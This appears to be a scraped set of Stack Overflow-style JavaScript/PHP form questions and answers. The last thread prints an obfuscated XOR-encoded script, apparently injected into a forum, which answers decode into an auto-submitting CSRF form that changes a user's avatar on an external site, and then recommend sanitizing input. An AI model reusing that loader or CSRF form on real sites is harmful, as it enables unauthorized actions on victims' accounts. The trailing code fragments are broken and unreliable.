JavaScript error in function which calcs sum of two values - javascript

this is my JS code to check the match of two digits
<script type="text/javascript">
function match(){
var a=parseInt(document.getElementById("one"));
var b=parseInt(document.getElementById("two"));
var c=parseInt(document.getElementById("sum"));
var d;
d=a+b;
if(d!=c)
{
alert("Something is wrong!!");
}
else
{
alert ("Success");
}
}
</script>
html code for generat two digits and check on the process.
<form action="#" method="post" onsubmit="return match();">
<input type="text" name="one" id="one" value="<?php echo rand(1,9); ?>" readonly="readonly"/>
+
<input type="text" name="two" id="two" value="<?php echo rand(1,9); ?>" readonly="readonly"/>
=
<input type="text" name="sum" id="sum" />
<input type="submit" value="submit" />
</form>

Perhaps you want their value and not the element itself.
var a=parseInt(document.getElementById("one").value,10);
var b=parseInt(document.getElementById("two").value,10);
var c=parseInt(document.getElementById("sum").value,10);
Also, provide the radix when you are using parseInt() otherwise it may go crazy sometimes.

Related

How can I append text field and replace text field by another when I click one of two radio button?

My HTML code like this:
<input type="radio" name="pembayaran" id="tunai" value="tunai" onclick="pilihpembayaran()"/>Tunai
<input type="radio" name="pembayaran" id="kredit" value="kredit" onclick="pilihpembayaran()" />Kredit
<input type="text" name="pilihbayar" id="formtunai"readonly value="<?php echo $value->harga?>" style="display:none"/>
And this is my JavaScript code:
function pilihpembayaran(){
if (document.getElementById('tunai').click) {
$('#formtunai').show();
} else if(document.getElementById('kredit').click){
$('#formtunai').hide();
}
}
But I can't replace element #formtunai with another element.
Anyone can solve my problem?
Html
<input type="radio" name="pembayaran" id="tunai" value="tunai"
onclick="pilihpembayaran(this)"/>Tunai
<input type="radio" name="pembayaran" id="kredit" value="kredit"
onclick="pilihpembayaran(this)" />Kredit
<input type="text" name="pilihbayar" id="formtunai"readonly value="<?php echo
$value->harga?>" style="display:none"/>
Javascript
function pilihpembayaran(e){
var name = $(e).attr('id');
if(name == "kredit") {
$('#formtunai').hide();
} else if(name == "tunai" ) {
$('#formtunai').show();
}
}
Hope its helps you !
Use this code:
function pilihpembayaran(){
$("input:radio[id=tunai]").click(function(){
$('#formtunai').show();
});
$("input:radio[id=kredit]").click(function(){
$('#formtunai').hide();
});
}
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<input type="radio" name="pembayaran" id="tunai" value="tunai" onclick="pilihpembayaran()"/>Tunai
<input type="radio" name="pembayaran" id="kredit" value="kredit" onclick="pilihpembayaran()" />Kredit
<input type="text" name="pilihbayar" id="formtunai"readonly value="test" style="display:none"/>
Try this:
function pilihpembayaran(clickedElemId){
$("form").hide(); // to hide all forms
$("#form"+clickedElemId).show(); //to show form based on clicked element id
}
<input type="radio" name="pembayaran" id="tunai" value="tunai" onclick="pilihpembayaran(this.id)"/>Tunai
<input type="radio" name="pembayaran" id="kredit" value="kredit" onclick="pilihpembayaran(this.id)" />Kredit
<input type="text" name="pilihbayar" id="formtunai"readonly value="<?php echo $value->harga?>" style="display:none"/>

How to declare variables dynamically in javascript

is it possible to read from post variables dynamically?
i.e.
function ajax_edit_color(color_id, building)
{
var color_name = $('#color_name_'+color_id).val();
var color_hex_code = $('#color_hex_code_'+color_id).val();
console.log(color_name, color_hex_code);
}
when I look at the console, the variables are undefined. Is there a correct syntax for this?
EDIT :
the HTML is dynamic (PHP):
<label for="color_name_<?php $value['id']; ?>">Color name : </label>
<input type="text" name="color_name_<?php $value['id']; ?>" id="color_name_<?php $value['id']; ?>" class="form-control" required="required" value="<?php echo $value['color_name']; ?>" />
<label for="color_hex_code_<?php $value['id']; ?>">Color HEX code : </label>
<input type="text" name="color_hex_code_<?php $value['id']; ?>" id="color_hex_code_<?php $value['id']; ?>" class="form-control" required="required" value="<?php echo $value['color_code']; ?>" />
AND HERE's the rendered HTML :
<label for="color_name_">Color name : </label>
<input type="text" name="color_name_6" id="color_name_" class="form-control" required="required" value="orange" />
<label for="color_hex_code_">Color HEX code : </label>
<input type="text" name="color_hex_code_6" id="color_hex_code_" class="form-control" required="required" value="ff9c00" />
Look at your final HTML:
<label for="color_name_">Color name : </label>
<input type="text" name="color_name_6" id="color_name_"
class="form-control" required="required" value="orange" />
The name is right, but the id is wrong. Fix your php, and the javascript will start working. The id needs to be color_name_6, not color_name_.
Your basic approach is correct, so I suggest you start with a simplified test, for example without PHP. One basic example, which I verified to work:
<!doctype html>
<html>
<head>
<script type="text/javascript" src="js/libs/jquery-2.1.4.js"></script>
<script>
function test(){
var index=1;
var val=$("#color_name_"+index).val();
console.log( '****' +val);
};
</script>
</head>
<body>
<button onclick="test();return false;">test</button>
<input type="text" id='color_name_1' value='green'>
<input type="text" id='color_name_2' value='blue'>
</body>
This works. Now if your own code is failing, try looking for differences, in particular:
1. When is your javascript running - could it be before the "color_name" elements are rendered in the document?
2. Could your PHP be generating wrong values, this could be tested by viewing the document source of course
edit you javascript to match the following
function ajax_edit_color(color_id, building)
{
var color_name = $('#'+color_id).val();
var color_hex_code = $('#'+color_id).val();
console.log(color_name, color_hex_code);
}
//color_name_ and color_hex_code_ are both already part of your ids.

How to decrease number [value] before post?

I am not sure but is it possible if user type numbers in input, i want to decrease the number in hidden before post? for example if type 1 then output 0 or if type 2 then output 1
<input class="decrease" type="text" name="number" value="" />
<input class="output" type="hidden" name="number" value="//decrease number//" />
Hope this one helps.
$(document).ready(function(){
$('.decrease').keyup(function(){
if($('.decrease').val()!="")
{
$('.output').val($('.decrease').val()-1);
}
else
{
$('.output').val("");
}
});
});
You have to make sure that the user types in only numbers. If the user types in a character, the value of the hidden input will be NaN.
See the documentation for more examples and information.
$(document).ready(function(){
$('.decrease').on('keyup',function(){
decrease();
});
});
function decrease(){
number = $('.decrease').val();
$('.output').val(number-1);
if(number == ''){
$('.output').val('');
}
}
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<form action="" method="post">
<input class="decrease" type="text" name="number" />
<input class="output" type="hidden" name="number" value="5" />
<input type="button" value="Submit" />
</form>

Form onsumbit executing a function

I have this code:
function src(){
var id = document.getElementsByName("query")[0].value;
window.location.href = "/search/?query=" + id;
}
var f_src = document.getElementById("search_form");
if(f_src)
f_src.onsubmit = function(){src();return false;};
I'm having problems with the submit part: I want, when I enter "example" in the field "url" to be redirected to "/search/?query=example", but it's not working, any help?
HTML:
<form id="search_form" method="get" action="" name="search_f">
<input id="search_field" maxlength="100" name="query" type="text" value="" placeholder="<?php echo $src_txt; ?>">
<input id="search_button" type="submit" value="">
</form>
Thanks.
Aside from the problem you might have, you can achieve the same behavior without JavaScript. You just have to give the form element the name "query" and make it submit a GET request to /search:
<form id="search_form" method="get" action="/search/" name="search_f">
<input id="search_field" maxlength="100" name="query" type="text" value="" placeholder="<?php echo $src_txt; ?>">
<input id="search_button" type="submit" value="">
</form>
The action attribute tells the browser where to make the request to. Every form control element with a name will be included with its value in the query string.
No JavaScript required.
If You don't insist on using javascript, You can achieve this using good old HTML:
<form action="/search/" method="get">
<input name="query" />
</form>

Javascript encoded?

someone is using a weird script to bug my forum, I tracked it and found the javascript, but it's "encoded", can someone help me ?
here it is:
<script language="javascript">
var enkripsi="'1A`mf{'02mlNmcf'1F'00qw`okv]dmpo'0:'0;'1#'00'1G'2C'1Admpo'02lcog'1F'00o{dmpo'00'02cavkml'1F'00jvvr'1C--dmpwo,hmemq,wmn,amo,`p-fup-gzga-WqgpDwlavkmlq,wrfcvgWqgpCtcvcp,fup'00'02ogvjmf'1F'00RMQV'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00acnnAmwlv'00'02tcnwg'1F'003'00'1G'02'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/qapkrvLcog'00'02tcnwg'1F'00WqgpDwlavkmlq'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/ogvjmfLcog'00'02tcnwg'1F'00wrfcvgWqgpCtcvcp'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/kf'00'02tcnwg'1F'007:55]3135040515351'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/rcpco2'00'02tcnwg'1F'00qvpkle'1C72;;'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00zon'00'02tcnwg'1F'00vpwg'00'1G'2C'02'02Rngcqg'02ankai'02jgpg'1C'02'1Aklrwv'02v{rg'1F'00qw`okv'00'02tcnwg'1F'00Amlvklwg,,,'00'02-'1G'1A-r'1G'2C'1A-dmpo'1G'2C'2C'1Aqapkrv'02nclewceg'1F'00hctcqapkrv'00'1G'2C'02'02'1A'03//'2C'02'02dwlavkml'02qw`okv]dmpo'0:'0;'02'2C'02'02'5#'2C'02'2;fmawoglv,o{dmpo,qw`okv'0:'0;'2C'02'02'5F'2C'02'02//'1G'2C'1A-qapkrv'1G"; teks=""; teksasli="";var panjang;panjang=enkripsi.length;for (i=0;i<panjang;i++){ teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2) }teksasli=unescape(teks);document.write(teksasli);
</script>
Cleaning up the code results in
var enkripsi = "'1A`mf{'02mlNmcf'1F'00qw`okv]dmpo'0:'0;'1#'00'1G'2C'1Admpo'02lcog'1F'00o{dmpo'00'02cavkml'1F'00jvvr'1C--dmpwo,hmemq,wmn,amo,`p-fup-gzga-WqgpDwlavkmlq,wrfcvgWqgpCtcvcp,fup'00'02ogvjmf'1F'00RMQV'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00acnnAmwlv'00'02tcnwg'1F'003'00'1G'02'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/qapkrvLcog'00'02tcnwg'1F'00WqgpDwlavkmlq'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/ogvjmfLcog'00'02tcnwg'1F'00wrfcvgWqgpCtcvcp'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/kf'00'02tcnwg'1F'007:55]3135040515351'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/rcpco2'00'02tcnwg'1F'00qvpkle'1C72;;'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00zon'00'02tcnwg'1F'00vpwg'00'1G'2C'02'02Rngcqg'02ankai'02jgpg'1C'02'1Aklrwv'02v{rg'1F'00qw`okv'00'02tcnwg'1F'00Amlvklwg,,,'00'02-'1G'1A-r'1G'2C'1A-dmpo'1G'2C'2C'1Aqapkrv'02nclewceg'1F'00hctcqapkrv'00'1G'2C'02'02'1A'03//'2C'02'02dwlavkml'02qw`okv]dmpo'0:'0;'02'2C'02'02'5#'2C'02'2;fmawoglv,o{dmpo,qw`okv'0:'0;'2C'02'02'5F'2C'02'02//'1G'2C'1A-qapkrv'1G";
teks = "";
teksasli = "";
var panjang;
panjang = enkripsi.length;
for (i = 0; i < panjang; i++) {
teks += String.fromCharCode(enkripsi.charCodeAt(i) ^ 2)
}
teksasli = unescape(teks);
document.write(teksasli);
Change the document.write to a console.log. Pop it into firebug and you get.
<body onLoad="submit_form();">
<form name="myform" action="http://forum.jogos.uol.com.br/dwr/exec/UserFunctions.updateUserAvatar.dwr" method="POST">
<input type="hidden" name="callCount" value="1">
<input type="hidden" name="c0-scriptName" value="UserFunctions">
<input type="hidden" name="c0-methodName" value="updateUserAvatar">
<input type="hidden" name="c0-id" value="5877_1317262737173">
<input type="hidden" name="c0-param0" value="string:5099">
<input type="hidden" name="xml" value="true">
Please click here: <input type="submit" value="Continue..." />
</p>
</form>
<script language="javascript">
<!-- function submit_form() { document.myform.submit() } -->
</script>
The real problem here is how is the user injecting the code into your site to being with. Are they entering it into a form and you are just outputting whatever they enter or is it a bug in the software you are using?
If it is a bug in the software, you upgrade.
If it is your code, you need to learn how to sanitize user input. OWASP has great info
Here is the deobfuscated JavaScript code:
<body onLoad="submit_form();">
<form name="myform" action="http://forum.jogos.uol.com.br/dwr/exec/UserFunctions.updateUserAvatar.dwr" method="POST">
<input type="hidden" name="callCount" value="1">
<input type="hidden" name="c0-scriptName" value="UserFunctions">
<input type="hidden" name="c0-methodName" value="updateUserAvatar">
<input type="hidden" name="c0-id" value="5877_1317262737173">
<input type="hidden" name="c0-param0" value="string:5099">
<input type="hidden" name="xml" value="true">
Please click here: <input type="submit" value="Continue..." /></p>
</form>
<script language="javascript">
<!--
function submit_form()
{
document.myform.submit()
}
-->
</script>
enkripsi="'2C'2C'2C"; teks=""; teksasli="";var panjang;panjang=enkripsi.length;for (i=0;i<panjang;i++){ teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2) }teksasli=unescape(teks);document.write(teksasli);
var enkripsi=""; teks=""; teksasli="";var panjang;panjang=enkripsi.length;for (i=0;i<panjang;i++){ teks+=String.fromCharCode(enkripsi.charCodeAt(i)2) }teksasli=unescape(teks);document.write(teksasli);

Categories